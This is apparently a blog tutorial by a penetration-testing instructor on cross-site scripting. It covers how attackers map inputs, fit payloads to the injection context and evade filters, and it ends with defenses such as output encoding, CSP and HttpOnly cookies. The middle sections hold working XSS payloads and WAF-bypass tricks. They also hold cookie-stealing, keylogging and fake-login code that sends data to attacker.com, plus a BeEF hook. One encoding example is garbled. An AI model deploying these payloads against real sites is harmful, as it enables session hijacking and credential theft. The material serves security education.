Most developers think XSS is just a pop-up. Attackers know better.

If you've ever seen a penetration test report come back with "Cross-Site Scripting (XSS) — Low Severity" and thought nothing of it, this article is for you.

XSS is one of those vulnerabilities that gets dismissed constantly — until it isn't. Until a single stored payload wipes out thousands of user sessions overnight. Until an admin visits a support ticket and hands over their entire dashboard without knowing it. Until a keylogger silently sitting in a comment field starts shipping credentials to an attacker's server.

Let me walk you through exactly how attackers think when they find an XSS vulnerability — from the first test input to full session hijacking.

First, Let's Clear Up the Basics

Cross-Site Scripting happens when user-controlled input makes its way into a web page without being properly sanitized, and the browser executes it as JavaScript. The browser has no way of knowing the script is malicious — it came from the website it already trusts.

There are three types you need to understand:

Reflected XSS is the fast food of XSS attacks — quick, disposable, and doesn't last. The payload travels in the URL, gets reflected in the response, and fires once. It requires tricking a victim into clicking a crafted link.

Stored XSS is the dangerous one. The payload gets saved in the database — in a comment, a username, a product review — and fires for every single user who loads that page. One injection, thousands of victims.

DOM-based XSS never touches the server. The attack lives entirely in JavaScript, manipulating the DOM directly through sources like location.hash, document.referrer, or window.name. It's harder to detect and often missed by scanners.

Phase 1: Finding Every Place You Can Put Input

Before injecting anything, a good attacker maps every surface where user input touches the application. This is more than just search bars.

Think about URL parameters, form fields, HTTP headers like User-Agent and Referer, JSON API bodies, file upload filenames, cookie values that get echoed back, even error messages that reflect what you typed.

Tools like ParamSpider, GAU (Get All URLs), and Waybackurls help discover hidden or forgotten parameters that developers stopped thinking about years ago. Forgotten endpoints are gold — they're rarely tested and even more rarely protected.

Phase 2: Understanding How Your Input Is Reflected

This is the step most beginners skip, and it's the most important one.

You type something innocent like hello123 and then you open the page source and find it. Where exactly does it land?

<!-- HTML body context -->
<div>hello123</div>
<!-- Inside an attribute -->
<input value="hello123">
<!-- Inside JavaScript -->
var name = "hello123";
<!-- Inside a URL -->
<a href="/search?q=hello123">

Each of these contexts requires a completely different payload. An attacker who throws <script>alert(1)</script> at every input without checking the context is going to fail most of the time. Context awareness is what separates noise from a working exploit.

Phase 3: Probing the Filters

Before crafting a payload, you need to know what the application strips, encodes, or blocks. Send a string with every dangerous character and see what survives:

< > " ' / ; ( ) = script onerror alert

You're watching for which characters come back intact in the response and which ones disappear or get transformed into HTML entities. This tells you exactly what you're working with.

If a WAF is in the way, you'll start seeing 403 responses, empty reflections, or generic error pages. Now the game changes — you need to think about evasion.

Phase 4: Crafting Payloads for Each Context

Here's where the real craft is. Generic payloads don't work against anything properly configured. You need to match your payload to the exact injection context.

HTML body context — you have full tag injection freedom:

<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>

Inside an HTML attribute — you need to break out of the attribute first:

" onmouseover="alert(1)
" autofocus onfocus="alert(1)

Inside JavaScript — you're already in the right language, just break out of the string:

";alert(1);//
'-alert(1)-'
`;alert(1)//`

Inside a URL or href — the javascript: pseudo-protocol is your friend:

javascript:alert(1)

Phase 5: Bypassing Filters and WAFs

Blocked on the basic payload? This is where creativity matters.

Case mixing confuses naive filters that only look for lowercase keywords:

<ScRiPt>alert(1)</sCrIpT>

HTML entity encoding lets you sneak characters past keyword-based filters:

&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;

Alternative event handlers when onerror and onload are blocked:

<details open ontoggle=alert(1)>
<input autofocus onfocus=alert(1)>
<video oncanplay=alert(1) src=x>

Template literals in JavaScript context bypass quote-based filters entirely:

${alert(1)}

Keyword splitting breaks up blocked strings:

<scr<script>ipt>alert(1)</scr</script>ipt>

The key principle: WAFs match patterns. Your job as an attacker is to deliver semantically identical code in a syntactically unrecognized form.

Phase 6: Going Beyond alert(1)

This is the part that matters. alert(1) proves the vulnerability exists — it does nothing to the user. Real-world exploitation looks very different.

Session hijacking — steal the cookie and take over the account:

fetch('https://attacker.com/steal?c=' + document.cookie)

Keylogging — capture every keystroke silently:

document.onkeypress = function(e) {
  fetch('https://attacker.com/log?k=' + e.key)
}

Credential harvesting — overlay a fake login form on the real page:

document.body.innerHTML = `
  <div style="position:fixed;top:0;left:0;width:100%;height:100%;background:#fff;z-index:9999">
    <form action="https://attacker.com/harvest" method="POST">
      <input name="username" placeholder="Enter your email">
      <input name="password" type="password" placeholder="Password">
      <button>Login</button>
    </form>
  </div>`

BeEF framework hook — turn the victim's browser into a controlled zombie:

<script src="http://attacker.com:3000/hook.js"></script>

Once hooked, BeEF lets you fingerprint the browser, scan internal networks, exploit browser vulnerabilities, and pivot further into the infrastructure.

Phase 7: The Most Dangerous Case — Blind XSS

Sometimes your payload fires somewhere you can never see directly. Admin panels. Internal logging dashboards. PDF report generators. Email notification systems.

You inject your payload in a support ticket subject line. You wait. Somewhere, an admin opens that ticket in an internal dashboard that has no output encoding. Your script runs in their browser with admin-level session cookies attached.

This is Blind XSS, and it's devastatingly effective against internal tooling that security teams forget to test.

Tools like XSS Hunter and Burp Collaborator give you out-of-band callbacks — the moment your payload fires, you get a notification with the victim's cookies, URL, browser info, and a screenshot of the page it fired on.

<script src="https://yoursubdomain.xss.ht"></script>

So How Do You Actually Defend Against This?

Understanding the attack makes the defense obvious.

The root cause of XSS is always the same: untrusted data being rendered as code. The fix is ensuring that user input is always treated as data, never as markup or script.

Output encoding is the primary defense. Before rendering user input in HTML, encode it. < becomes <, > becomes >, " becomes ". The browser displays the characters but never interprets them as code.

Content Security Policy (CSP) is your safety net. A properly configured CSP header tells the browser which scripts are allowed to run, blocking inline scripts and external sources that weren't explicitly whitelisted. Even if an attacker injects a payload, CSP can prevent it from executing.

HttpOnly cookies mean JavaScript can't read them at all, which directly breaks the session hijacking use case.

Modern frameworks like React, Angular, and Vue automatically escape output by default. The dangerous patterns (dangerouslySetInnerHTML in React, for example) are named that way on purpose — as a warning.

Never use innerHTML to render user-controlled content. Use textContent or innerText instead.

The Real Takeaway

XSS has been on the OWASP Top 10 for over two decades. It's not still there because developers are careless — it's there because web applications are complex, injection contexts are subtle, and the gap between "developer tested it" and "security tested it" is wider than most teams admit.

The next time you see XSS classified as low severity on a report, ask where the injection point is. Ask if it's stored. Ask whether admin users ever see that data. Ask whether cookies have the HttpOnly flag. The answers might change the severity very quickly.

Understanding how the attack works isn't just useful for pentesters. It's the clearest path to writing code that doesn't have this problem in the first place.

Ahmed is a Network Security Engineer and penetration testing instructor with a focus on web application security and enterprise network defense. Follow for more content on how real attacks work — and how to stop them.

Tags: #cybersecurity #websecurity #xss #penetrationtesting #bugbounty #ethicalhacking #appsec #infosec #owasp #webdevelopment